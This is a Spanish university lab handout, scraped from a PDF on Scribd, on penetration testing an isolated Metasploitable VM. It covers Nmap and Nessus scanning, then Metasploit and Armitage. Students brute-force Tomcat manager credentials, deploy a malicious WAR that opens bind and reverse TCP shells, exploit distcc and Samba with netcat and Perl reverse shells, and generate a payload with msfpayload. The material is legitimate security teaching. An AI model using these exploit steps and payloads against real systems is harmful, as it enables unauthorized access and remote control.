0% encontró este documento útil (0 votos)
531 vistas14 páginas

Dojo Pentest PDF

Este documento describe cómo realizar pruebas de penetración usando Metasploit en un entorno virtualizado. Explica cómo configurar máquinas virtuales con imágenes de atacante y víctima, y realizar escaneos de puertos y vulnerabilidades con Nmap y Nessus. Luego, muestra cómo usar Metasploit desde la línea de comandos y la interfaz gráfica Armitage para explotar vulnerabilidades como Tomcat y SMB en la máquina objetivo.

Cargado por

Xavi Luna
Derechos de autor
© Attribution Non-Commercial (BY-NC)
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
531 vistas14 páginas

Dojo Pentest PDF

Este documento describe cómo realizar pruebas de penetración usando Metasploit en un entorno virtualizado. Explica cómo configurar máquinas virtuales con imágenes de atacante y víctima, y realizar escaneos de puertos y vulnerabilidades con Nmap y Nessus. Luego, muestra cómo usar Metasploit desde la línea de comandos y la interfaz gráfica Armitage para explotar vulnerabilidades como Tomcat y SMB en la máquina objetivo.

Cargado por

Xavi Luna
Derechos de autor
© Attribution Non-Commercial (BY-NC)
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

Pentesting con Metasploit

ESEI Dojos 2011/12 1 de febrero de 2012

Indice
1. Entorno de pruebas 1.1. Software de virtualizacin VirtualBOX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 1.2. Imgenes a utilizar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a 1.3. Establecer el entorno virtualizado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2. Ejercicio 1: Enumeracin de equipos y servicios y deteccin de vulnerabilidades o o 2.1. Descripcin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 2.2. Enumeracin con NMAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 2.3. Escaneo de vulnerabilidades con NESSUS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3. Ejercicio 2: Explotacin de vulnerabilidades con Metasploit o 3.1. Descripcin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 3.1.1. Arquitectura de Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.1.2. Interfaces de usuario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.1.3. Comandos de msfconsole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2. Uso de msfconsole . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2.1. Carga de recursos externos: escaneos de NMAP y NESSUS (opcional) . . . . . . . . . . . . . . 3.2.2. Uso de mdulos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 3.2.3. Explotacin de Tomcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 3.3. Uso del interfaz grco armitage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a 3.3.1. Inicio y uso bsico . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a 3.3.2. Explotar el servicio distcc (compilacin distribuida) . . . . . . . . . . . . . . . . . . . . . . . . o 3.3.3. Tarea: explotar el servicio SMB (samba) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.3.4. Explotar una versin vulnerable de phpMyAdmin + uso de Meterpreter . . . . . . . . . . . . . o 3.3.5. Tarea: explotar la aplicacin web TikiWiki . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o 4. Extra: Aplicaciones web vulnerables de entrenamiento y educativas 2 2 2 3 3 3 4 5 5 5 6 6 7 7 7 8 8 11 11 12 12 13 14 14

1.
1.1.

Entorno de pruebas
Software de virtualizacin VirtualBOX o

En estas prcticas se emplear el software de virtualizacin VirtualBOX para simular pequeas redes formadas por a a o n equipos GNU/Linux. Pgina principal: [Link] a Ms informacin: [Link] a o

1.2.

Imgenes a utilizar a

Imgenes de partida a Imgenes y scripts comprimidos: DOJO [Link] [2,1 GB] a Contenido: [Link]: Imagen VirtualBox de la mquina atacante. a Es un sistema Debian 6.0 con el gestor de ventanas LXDE (Lightweight X11 Desktop Environment) [[Link] y una serie de herramientas de seguridad instaladas.

Escner de puertos NMAP (y su interfaz grco zenmap) [[Link] a a Escner de vulnerabilidades NESSUS. [[Link] a Framework de pen testing Metasploit. [[Link] Escner de vulnerabilidades Web W3AF (Web Application Attack and Audit Framework ) [[Link] a

Usuarios congurados. login password root purple usuario1 usuario1 usuario2 usuario2 [Link]: Imagen VirtualBox de la mquina v a ctima. Metasploitable es un sistema Ubuntu Server 8.04 publicado por los desarrolladores de Metasploit como entorno de pruebas y aprendizaje para tests de intrusin. Cuenta con una coleccin de servicios vulnerables o o sobre los que experimentar. Para estos ejercicios se han realizado algunos aadidos. n Ms informacin: anuncio original, descarga Metasploitable a o Readme de Metasploitable: [Link] Usuarios congurados. login password msfadmin msfadmin (con acceso a sudo) user user service service postgres postgres [Link]: Imagen VirtualBox de una unidad de disco formateada como SWAP, es compartida por ambas mquinas. a [Link]: Script bash que congura las mquinas virtuales y las arranca. a [Link]: Fichero BAT para MS Windows que congura las mquinas virtuales y las a arranca (pendiente).

1.3.

Establecer el entorno virtualizado

Creacin de la red donde se realizar el ejercicio: o a Red interna ([Link] ... [Link]) 1. Descomprimir las imgenes a tar xzvf DOJO_PENTEST.tgz Se crear un directorio tmp/DOJO_PENTEST/ en el directorio actual. a 2. Congurar y registrar las mquinas virtuales en VirtualBOX (slo la primera vez) a o Script de conguracin y arranque: o GNU/Linux: [Link] MS Windows: [Link] (pendiente)
Nota: ejecutarlos desde el directorio donde se hayan descomprimido las imgenes a

Para GNU/Linux alumno@pc38:~/.../tmp/DOJO_PENTEST$ bash [Link] Para MS Windows [Link] o Nota: En MS Windows puede ser necesario establecer la variable VBOX xxxxxxx con la ubicacin de la instalacin de VirtualBOX set VBOX\_xxxxx="c:\archivos de programa\virtualbox" o 3. Arrancar las instancias VirtualBOX (si no lo hacen desde el script anterior) desde el interfaz grco o desde a la l nea de comandos. VBoxManage startvm VICTIMA VBoxManage startvm METASPLOITABLE

Importante: Despus de nalizar cada ejercicio terminar la ejecucin de cada una de las mquinas virtuales e o a desde l nea de comandos con halt o sudo halt o desde el interfaz grco LXDE. a

2.

Ejercicio 1: Enumeracin de equipos y servicios y deteccin de vulo o nerabilidades


Descripcin o

2.1.

En este primer ejercicio veremos dos herramientas que pueden ser utilizadas en las etapas iniciales de un test de intrusin (exploracin y enumeracin). Se trata del escner de puertos NMAP y del escner de vulnerabilidades o o o a a NESSUS. 1. NMAP es un escaner de puertos con capacidad de identicacin de servicios y sistemas operativos, tambin posee o e funcionalidades de evasin y ocultacin del escaneo. o o [Link] [Link]

2. NESSUS es un escaner de vulnerabilidades basado en plugins. Estos plugins realizan comprobaciones y simulan intentos de ataque tratando de aprovechar vulnerabilidades. NESSUS distribuye una coleccin de plugins o bajo registro sin coste para uso no comercial (Home Feed ) y una coleccin profesional ms actualizada bajo o a subscripcin de pago (Professional Feed ). o [Link] [Link] (software) Nota: Aunque inicialmente NESSUS era un proyecto de cdigo abierto, en la actualidad tiene una licencia o privativa. El proyecto libre OpenVAS continu evolucionando el cdigo de antigua versin Open Source de NESSUS y o o o ofrece funcionalidades similares.

2.2.

Enumeracin con NMAP o

Desde la mquina ATACANTE a 1. Acceder como root (con password purple) y arrancar las X
atacante:~# startx

2. Abrir un terminal y lanzar un escaneo de equipos sobre la red actual (Ping Scan) para determinar que mquinas a estn conectadas en el segmento de red. a
atacante:~# nmap -sP [Link]/24

Nos informar de que hay 2 equipos en la red: la mquna ATACANTE (con direccion IP [Link]) y la a a mquina METASPLOITABLE (con direccion IP [Link]) a 3. Lanzar un escaneo de servicios sobre el equipo METASPLOITABLE
atacante:~# nmap -sX [Link] -O -sV [Link]

Descripcin de las opciones o -sX [Link] especica el nombre del chero donde se volcar la salida del escaneo en el formato XML de a NMAP -O Habilita la identicacin del Sistema Operativo de la mquina escaneada o a -sV Habilita la identicacin de los servicios a la escucha en los puertos descubiertos en la mquina escaneada o a [Link] Direccin IP del destino del escaneo o Resultados obtenidos
aStarting Nmap 5.00 ( [Link] ) at 2012-01-30 00:35 CET Interesting ports on [Link] ([Link]): Not shown: 988 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Exim smtpd 4.69 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 3306/tcp open mysql MySQL (Host blocked because of too many connections) 5432/tcp open postgresql PostgreSQL DB 8009/tcp open ajp13?

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 MAC Address: [Link] (Cadmus Computer Systems) Device type: general purpose|remote management|firewall|WAP|broadband router Running (JUST GUESSING) : Linux 2.6.X|2.4.X (98%)...

Nota: Este tipo de escaneo con identicacin de servicios es relativamente ruidoso y fcilmente detectable por o a los rewalls o detectores de intrusiones que puedan estar instalados en la red escaneada.

2.3.

Escaneo de vulnerabilidades con NESSUS

1. Abrir en un navegador web la URL https: localhost:8834 Acceder con las credenciales Login: usuario1, Password: usuario1 AVISO: no funciona bien el botn de vuelta atrs :-( o a 2. En la seccin Policies se denen y conguran las pol o ticas de escaneo Hay creada una pol tica privada Metasploitable donde se han seleccionado una serie de plugins relacionados con los servicios identicados por NMAP. Seleccionndola y pinchando en Edit se puede revisar y modicar. a En la pestaa Plugins se pueden ver los plugins seleccionados n Se pueden seleccionar de la lista (agrupados por categor as) o emplear un ltro por su nombre o ID. Por ejemplo Filer->Name : tomcat [Reset Filter] muestra los plugins relacionados con el servidor Tomcat, estn seleccionados los relativos a la versin 5.5 a o En concreto veremos: Web Servers -> 34970 Apache Tomcat Manager Common Administrative Credentials El cdigo de los plugins est disponibles en /opt/nessus/lib/nessus/plugins o a Son scripts escritos en el lenguaje NASL (Nessus Attack Scripting Language) que realizan distintos tipos de comprobaciones (versiones de servicios, opciones/comandos disponibles, conguracin) y/o simulan un o intento de ataque que tratar de aprovechar una vulnerabilidad concreta. a
atacante:~/# less /opt/nessus/lib/nessus/plugins/tomcat_manager_common_creds.nasl

3. En la seccin Scans se denen los escaneos de vulnerabilidades y se programa su ejecucin. o o Con Add se crea un nuevo escaneo, se le asigna un nombre, se programa su incio (Run Now ), una pol tica (Metasploitable) y una lista de objetivos ([Link]) y se lanza ([Launch Scan]) Una vez nalizado, aparecer su resultado en la pestaa Reports a n Se puede visualizar (Browse) y en exportar en diversos formatos (veremos que Metasploit puede importar el resultado de escaneos de vulnerabilidades en formato nessus) Ejemplos: (sobre el informe del escaneo Escaneo Metasploit ya realizado) El resultado de este escaneo ya est exportado en el chero /root/nessus_report_Escaneo_Metasploit.nessus a

Escaneo Metasploit -> High -> 8080 (High 1) -> 34970 Apache Tomcat Manager Common Administrat Informa del uso de contraseas por defecto en la herramienta web de administracin de Tomcat. n o Escaneo Metasploit -> High -> 22 (High 2) -> 32314 Debian OpenSSH/OpenSSL Package Random Nu Informa de que las claves de servidor SSH fueron generadas con una versin de openSSL sobre Deo bian/Ubuntu con un bug en el generador de nmeros aleatorios. u

3.
3.1.

Ejercicio 2: Explotacin de vulnerabilidades con Metasploit o


Descripcin o

En este segundo ejercicio veremos el uso del Framework Metasploit en tareas de explotacin de vulnerabilidades y o acceso a equipos comprometidos. 5

Metasploit es un Framework multiplataforma escrito en Ruby que abstrae las tareas t picas de una intrusin, ofreciendo o un esquema modular donde combinar e integrar distintos tipos de exploits y herramientas de acceso y control de equipos y servicios comprometidos. Incluye tambin mdulos adicionales para las fases de rastreo y enumeracin, adems de e o o a poder integrar la informacin proporcionada por otras herramientas como NMAP, NESSUS, OpenVAS, etc. o 3.1.1. Arquitectura de Metasploit

Metasploit sigue un arquitectura modular, organizada alrededor de un ncleo que estructura la aplicacin y ofrece las u o funcionalidades bsicas. a exploits Piezas de cdigo que explotan una vulnerabilidad concreta que permite un acceso no previsto. Suelen ser o espec cas del sistema operativo y de la versin concreta del servicio, aunque hay algunos exploits independientes o de la plataforma. Su uso principal es como vector para la inyeccin de un payload espec o co que ofrezca al atacante algn tipo u de acceso y/o control del equipo compometido. payloads Piezas de cdigo que permiten algn tipo de acceso o control sobre un equipo que ha sido comprometido o u mediante la explotacin de alguna vulnerabilidad. Suelen ser espec o cos del sistema operativo, aunque algunos basados en Java o lenguajes de Script son independientes de la plataforma. Uno de los payloads ms potentes que ofrece Metasploit es Meterpreter. Se trata de un payload que ofrece un a intrprete de comandos en el sistema comprometido, complementado con una serie de comandos espec e cos que soportan tareas t picas de una intrusin (recopilacin de informacin del sistema comprometidos, keylogger, o o o ocultacin de rastros, etc). o Explicacin de algunas funcionalidades de Meterpreter: comandos Meterpreter, tabla resumen [pdf] o auxiliary Mdulos auxiliares que automatizan tareas complementarias empleadas habitualmente en test de intrusin. o o Fundamentalmente se trata de diversos tipos de escners: escner de puertos genricos escneres especif a a e o a cos para aplicaciones/servicios concretos. Tambin se proveen mdulos para recopilar credenciales de acceso basados e o en diccionarios o romper contraseas, enumeradores de directorios, herramientas para recopilacin de informan o cin de red y una coleccin de fuzzers que generan cadenas de entrada aletorias con las que detectar posibles o o vulnerabilides en la validacin de entradas. o post Piezas de cdigo espec o cas de cada arquitectura o aplicacin que automatizan tareas relativas al mantenimieno to, extensin y/o ocultacin del acceso a equipos comprometidos. Fundamentalmente ofrecen funcionalidades o o para recopilar informacin del sistema comprometidos (servicios, usuarios, chero, ...), para escalar privilegios o obteniendo credenciales de administrador o para ocultar el rasto de la explotacin. o nops Mdulos complementarios usados para generar distintos tipos de cdigos NOP (No operation) para diferentes o o arquitecturas y CPUs a utilizar en el cdigo de los exploits y sus respectivos payloads. o encoders Mdulos complementarios utilizados para ofuscar y ocultar el cdigo de los exploits y sus respectivos o o payloads empleando diversos tipos de codicacin. Son un mecanismo de evasin para evitar la deteccin del o o o ataque por parte de IDS (sistemas de deteccin de intrusiones) o antivirus. o Ms informacin en [Link] y [Link] Project. a o Consulta e informacin sobre los mdulos disponibles: [Link] o o 3.1.2. Interfaces de usuario

Sobre el Framework Metasploit se han desarrollado distintos tipos de interfaces de usuario, bien como parte del ncleo u del propio framework o como proyectos independientes. msfconsole Consola en modo texto de Metasploit, es el interfaz ms usado y ofrece acceso a la totalidad de funcioa nalidades del framework. msfcli Expone las funcionalidades del framework para acceder a ellas desde l nea de comandos y shell scripts. 6

msfweb Expone las funcionalidades del framework mediante un interfaz web msfrpc/msfrpcd Expone las funcionalidades del framework para acceder a ellas mediante un mecanismo de RPC (remote procedure call ) msfgui Interfaz grco basado en Java Swing. Accede a las funcionalidades del framework usando msfrpcd. a Armitage Interfaz grco basado en Java Swing. Es un proycto independiente con mejoras respecto a msfgui, mucho a ms amigable, con mejor usabilidad, con asistencia al usuario y automatizacin de determinadas tareas. Accede a o a las funcionalidades del framework usando msfrpcd. otros msfpayload/msfencode permiten crear (y codicar) payloads desde l nea de comandos. Se usa para generar cheros con payloads a desplegar/ejecutar directamente en las v ctimas. msfupdate actualiza mediante svn (subversion) los mdulos del framework a la ultima versin disponible. o o 3.1.3. Comandos de msfconsole

pendiente

3.2.

Uso de msfconsole

Desde la mquina ATACANTE: iniciar un terminal y arrancar msfconsole a


atacante:~# msfconsole

Muestra un banner e informacin de la versin del framework, ultima actualizacin y nmero de mdulos disponibles. o o o u o 3.2.1. Carga de recursos externos: escaneos de NMAP y NESSUS (opcional)

Metasploit puede congurarse para utilizar una base de datos donde guardar informacin de los equipos localizados, sus o servicios y vulnerabilidades, junto con informacin adicional como notas y eventos. Esa informacin puede generarla o o el propio Metasploit a partir de sus mdulos Auxiliary o cargarla a partir de herramientas externas. o 1. Cargar la informacin del escaneo de NMAP o
msf > db_import /root/[Link]

2. Cargar la informacin del escaneo de NESSUS o


msf > db_import /root/nessus_report_Escaneo_Metasploit.nessus

3. Comprobar los datos capturados.


msf > hosts msf > services msf > vulns

Se puede recuperar, editar o eliminar informacin de un host o servicio espec o co (ver hosts -h o services -h) Nota: Para el caso de NMAP, msfconsole ofrece un comando db_nmap que ejecuta NMAP con los parmetros a espec cados y automticamente carga los datos obtenidos en la BD de Metasploit, por lo que no ser necesario a a ejecutar NMAP desde fuera de msfconsole.

3.2.2.

Uso de mdulos o

1. Buscar posibles mdulos (exploits, etc) a utilizar sobre los servicios identicados en la mquina v o a ctima. Posibles exploits contra el servidor FTP ProFTPD.
msf > search proftpd

Ninguno de los exploits disponibles es apto para la versin de ProFTPD instalada. o Posibles exploits contra el servidor Apache Tomcat
msf > search tomcat

Se puede utilizar el exploit multi/http/tomcat_mgr_deploy (como ya nos mostr NESSUS este servidor o usa las contraseas por defecto) n 3.2.3. Explotacin de Tomcat o

1. Seleccionamos el exploit y vemos su descripcin y opciones. o


msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > info

Debemos especicar un USERNAME y un PASSWORD, podremos intentar obtenerlos con un mdulo auxiliar o que prueba un diccionario de pares usuario+clave usando feurza bruta. 2. Extraccin de credenciales Tomcat (mdulo auxiliar auxiliary/scanner/http/tomcat_mgr_login) o o
msf > use auxiliary/scanner/http/tomcat_mgr_login msf auxiliary(tomcat_mgr_login) > info

Debemos especicar la mquina objetivo (RHOSTS), el puerto (RPORT), la URI de la aplicacin de gestion de a o Tomcat (URI) y los cheros con los nombres de usuario y las contraseas a probar (USER FILE, PASS FILE). n Bastar con especicar el valor de RHOST, con el resto de parmetros se usarn los valores por defecto a a a Desde otro terminal se pueden ver/editar los diccionarios con valores para USER y PASS.
atacante:~# less /opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_users.txt atacante:~# less /opt/metasploit-4.1.4/msf3/data/wordlists/tomcat_mgr_default_pass.txt msf auxiliary(tomcat_mgr_login) > set RHOSTS [Link] RHOSTS => [Link] msf auxiliary(tomcat_mgr_login) > run [*] [-] ... [*] [+] ... [*] [-] [*] [*]

[Link]:8080 TOMCAT_MGR - [01/50] - Trying username:admin with password: [Link]:8080 TOMCAT_MGR - [01/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] fa

[Link]:8080 TOMCAT_MGR - [16/50] - Trying username:tomcat with password:tomcat [Link] [Apache-Coyote/1.1] [Tomcat Application Manager] successful login t

[Link]:8080 TOMCAT_MGR - [46/50] - Trying username:both with password:tomcat [Link]:8080 TOMCAT_MGR - [46/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] fa Scanned 1 of 1 hosts (100% complete) Auxiliary module execution completed

Nos informa que se puede acceder a la web de administracin de Tomcat con las credenciales tomcat/tomcat o 3. Conguracin y uso del exploit exploit/multi/http/tomcat_mgr_deploy o
msf msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy exploit(tomcat_mgr_deploy) > info

Debemos especicar la mquina objetivo (RHOST), el puerto (RPORT), el path a la aplicacin de gestion de a o Tomcat (PATH) y el nombre de usuario (USERNAME) y la contrasea (PASSWORD). n
msf msf msf msf exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) > > > > set set set set RHOST [Link] RPORT 8080 USERNAME tomcat PASSWORD tomcat

Funcionamiento: El exploit crear un chero WAR con una aplicacin web Java maliciosa cuya unica misin a o o ser la de poner en ejecucin dentro de la mquina v a o a ctima el PAYLOAD que especiquemos. Usando la aplicacin de administracin se desplegar ese WAR en el servidor Tomcat. o o a El exploit acceder a la URL correspondiente para invocar dicho servlet y poner en ejecucin su PAYLOAD a o Finalmente, el exploit deshar el despliegue realizado. a En este ejemplo se usar el PAYLOAD java/shell/bind_tcp a Este PAYLOAD lanza un intrprete de comandos en la v e ctima (/bin/sh en este caso) y redirige su E/S a un puerto TCP de dicha v ctima. El exploit abre una sesin hacia ese puerto de la v o ctima, obtenindose una shell en el equipo comprometido e accesible desde el atacante. Nota: con set PAYLOAD <tab> se muestra la lista de PAYLOADs admitidos por el exploit actual.
msf msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp exploit(tomcat_mgr_deploy) > show options

Este PAYLOAD tiene sus propias opciones, exige que indiquemos la mquina v a ctima (RHOST) y el puerto de escucha en dicha v ctima (LPORT)
msf msf exploit(tomcat_mgr_deploy) > set LPORT 11111 exploit(tomcat_mgr_deploy) > show options

Al lanzar el exploit se abrir una sesin en la mquina v a o a ctima.


msf [*] [*] [*] [*] [*] [*] [*] [*] exploit(tomcat_mgr_deploy) > exploit Started bind handler Attempting to automatically select a target... Automatically selected target "Linux x86" Uploading 6213 bytes as [Link] ... Executing /nZAPfHCskfkmDVB/[Link]... Undeploying nZAPfHCskfkmDVB ... Sending stage (2439 bytes) to [Link] Command shell session 1 opened ([Link]:54658 -> [Link]:11111) at 2012-01-31 [Link] +0100

ls -l total 76 drwxr-xr-x 2 root root 4096 2010-03-16 19:11 drwxr-xr-x 4 root root 4096 2011-12-10 10:31 ... lrwxrwxrwx 1 root root 30 2011-12-10 09:31 uname -a Linux [Link] 2.6.24-30-virtual ...

bin boot vmlinuz -> boot/vmlinuz-2.6.24-30-virtual #1 SMP Mon Nov 28 [Link] UTC 2011 i686 GNU/Linux

En la v ctima podemos comprobar que hay un nuevo proceso /bin/sh propiedad del usuario tomcat55 y sin terminal asociado.
metasploitable:~$ ps -aux | grep sh

Podemos comprobar que la conexin est efectivamente establecida, lanzando el comando netstat -tn en ambos o a equipos.
atacante:~# netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address ... tcp 0 0 [Link]:43550 ... metasploitable:~$ netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address tcp 0 0 [Link]:11111

Foreign Address [Link]:11111

State ESTABLISHED

Foreign Address [Link]:43550

State ESTABLISHED

Nota: las sesiones se nalizan con CONTROL+C 4. Uso de un PAYLOAD alternativo Otro posible exploit ser java/shell/reverse_tcp con un comportamiento inverso a la hora de las conexiones. a En este caso ser el PAYLOAD en ejecucin en la v a o ctima quien se conectar a un puerto local de la mquina a a atacante (o de la mquina que le indiquemos). a
msf msf msf msf msf exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) exploit(tomcat_mgr_deploy) > > > > > set PAYLOAD java/shell/reverse_tcp show options set LHOST [Link] set LPORT 22222 exploit

Debemos especicar la direccin (LHOST) y el puerto (LPORT) a donde debe conectarse el PAYLOAD. o
atacante:~# netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address ... tcp 0 0 [Link]:22222 metasploitable:~$ netstat -tn Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address tcp 0 0 [Link]:57091

Foreign Address [Link]:57091

State ESTABLISHED

Foreign Address 1192.168.100.111:22222

State ESTABLISHED

5. Inspeccin del cdigo del exploit y del PAYLOAD o o Se puede ver el cdigo Ruby con la implementacin del exploit y del PAYLOAD o o
atacante:~# less /opt/metasploit-4.1.4/msf3/modules/exploits/multi/http/tomcat_mgr_deploy.rb < ver funcin exploit > o atacante:~# less /opt/metasploit-4.1.4/msf3/modules/payloads/stagers/java/bind_tcp.rb atacante:~# less /opt/metasploit-4.1.4/msf3/modules/payloads/stages/java/[Link] atacante:~# less /opt/metasploit-4.1.4/msf3/lib/msf/core/payload/[Link]

Tambin est disponible el cdigo Java inyectado por el exploit responsable de crear el intrprete de comandos e a o e y ponerse a la escucha. (ver [Link]
atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/javapayload/stage/[Link] atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/[Link] atacante:~# less /opt/metasploit-4.1.4/msf3/external/source/javapayload/src/metasploit/[Link]

Tamin se puede ver el aspecto que tendr un chero WAR con el PAYLOAD seleccionado (no es exactamente e a el que desplegar el exploit anterior) a
atacante:~# msfpayload java/shell/bind_tcp LPORT=33333 RHOST=[Link] W > /tmp/[Link] atacante:~# cd /tmp atacante:/tmp# jar xvf [Link] atacante:/tmp# less WEB-INF/[Link] atacante:/tmp# ls -l WEB-INF/classes/metasploit/*

10

3.3.

Uso del interfaz grco armitage a

Armitage es un interfaz grco alternativo para Metasploit que pretende simplicar el uso del framework. Hace uso a del servidor RPC integrado en el framework (msfrpcd) para acceder a las funcionalidades que ofrece Metasploit. Mejora el interfaz (visualizacin de hosts, acceso simplicado a los mdulos y a su informacin y opciones, etc) o o o Automatiza ciertas tareas, como el emparejamiento entre hosts y servicios y entre servicios y exploits aplicables. Simplica la conguracin de exploits y payloads. o Permite la gestin y coordinacin de multiples sesiones abiertas en las v o o citmas 3.3.1. Inicio y uso bsico a

Desde un terminal de la mquina ATACANTE, arrancar Armitage a


atacante:~# armitage &

Al inciarse la aplicacin se nos piden los datos para conectarse al servidor RPC del framework Metasploit (msfrpcd). o Si dicho servidor estuviera en ejecucin deber de especicarse los correspondientes datos. o an En caso contrario bastar con pinchar en Connect de todos modos y el propio Armitage nos pedir autorizacin a a o para arrancar una nueva instancia del servidor RPC (pinchar en yes). Nota: Mientras el servidor se inicia, Armitage puede informar de errores de conexin. o Cuando el RPC est listo se inciar por s mismo el interfaz grco. e a a En la seccin de Hosts de Armitage se muestran iconos para los equipos registrados en la base de datos de Metasploit. o En nuestro caso aparece el host que hab amos introducido anteriormente con db_import al incio del primer ejercicio. De ser necesario podr lanzarse nuevos escaneos desde Armitage [[Men Hosts] -> Import / NmapScan / etc ]) an u Vincular posibles ataques a un host v ctima Armitage ofrece la funcionalidad de cruzar la informacin sobre o servicios de un hosts con la informacin de los exploits para vincular a una mquina una lista de los potenciales o a ataques. Seleccionar el host ([Link]) Sobre el men seleccionar [Men Attack] -> Find Attacks u u Armitage comprueba qu exploits son compatibles con cada uno de los servicios vinculados al host selece cionado (no va mucho ms all que comprobar nombres de servicio y versiones) a a Es frecuente que la mayor de los ataques/exploits propuestos no sean aplicables (falsos positivos) a Una vez completada la vinculacin se aade al icono del hosts un submen contextual Attacks con la lista de o n u posibles ataques. La opcin [Men Attack] -> HailMary va un paso ms all. o u a a Adems de cruzar servicios y exploits para determinales cuales podr ser usados este comando intenta exploa an tarlos. Los exploits potenciales son lanzados uno a uno usando sus opciones por defecto. En los casos donde el exploit tiene xito se crea una sesin con la v e o ctima. Nota: en la mayor de los casos las opciones por defecto que usar Hail Mary no son las adecuadas y la explotacin a a o no tendr exito. a Suele ser necesario jar opciones adecuadas y comprobar los exploit manualmente. 11

3.3.2.

Explotar el servicio distcc (compilacin distribuida) o

DistCC es un servicio que coordina la compilacin distribuida de programas (ver [Link] o Mestasploitable incluye una versin vulnerable de este servidor. o 1. Sobre el host ([Link]) seleccionar este ataque: [botn derecho] -> Attacks -> misc -> distcc_exec o 2. Se abre un dilogo donde ser muestra la descripcin del exploit (exploit/unix/misc/distcc_exec) y se permite a o congurar sus parmetros y los posibles PAYLOADS (en caso de que el exploit admita diversos tipos) a 3. Para este ejemplo los parmetros jados por Armitage son correctos. a En este caso se usar un PAYLOAD generic/shell_bind_tcp a 4. El exploit+payload se lanza con el botn [Launch] o Nota: En la consola se muestra la secuencia de acciones equivalentes en msfconsole Si el ataque tuvo xito se modica el icono del host y se aadir un un submen contextual Shell # e n a u Desde este submen (dependiendo del tipo de PAYLOAD) se podr acceder a una secin interactiva (Interact), u a o ejecutar mdulos de POST EXPLOTACION o subir archivos al equipo comprometido. o En la v ctima se puede comprobar que hay un proceso extrao en ejecucin. n o
metasploitable:~# ps -aux | less metasploitable:~# pstree -aclu | less

Hacia el nal de la lista se muestra un proceso Perl, propiedad del usaurio daemon, que ejecuta un script perl de una l nea (opcin -e one line script). o Ese script es el cdigo insertado por el exploit y lo que hace es abrir un socket hacia el puerto indicado en la o mquina atacante y ejecutar con la funcin Perl system() lo que se reciba a travs de ese socket. a o e Accediendo a la opcin Post modules del men contextual vinculado a la sesin con la v o u o citma se muestran en el a rbol izquierdo la lista de mdulos de post explotacin admitidos por el PAYLOAD actual. o o Para invocarlos basta hacer doble click sobre ellos, rellenar las opciones perminentes y lanzarlo. En cada uno de esos mdulos debemos indicar en la opcin SESSION el no de sesin ( no de shell) vinculado a o o o o la conexin obtenida por el exploit correspondiente. o Probar enum_linux, enum_services [para verlos ir a Men view -> loot], etc) u 3.3.3. Tarea: explotar el servicio SMB (samba)

Repitiendo las acciones del ejemplo anterior se puede aprovechar una vulnerabilidad en el servidor Samba de Metasploitable para ganar acceso a la mquina comprometida. a 1. Sobre el host ([Link]) [botn derecho] -> Attacks -> samba -> usermap_script o 2. Se usar el exploit exploit/multi/samba/usermap_script a Si en la v ctima se comprueban los procesos en ejecucin, de nuevo saldrn cosas extraas. o a n
metasploitable:~# ps -aux | less metasploitable:~# pstree -aclu | less

En este caso veremos que el exploit a inyectado un comando de shell que haciendo uso de la herramienta nc/netcat redirecciona la E/S de un intrprete de comandos sobre un puerto de la mquina atacante. e a 12

USER root ... root ...

PID %CPU %MEM 1 0.0 1.3 4915 0.0 0.3

VSZ 2848 1776
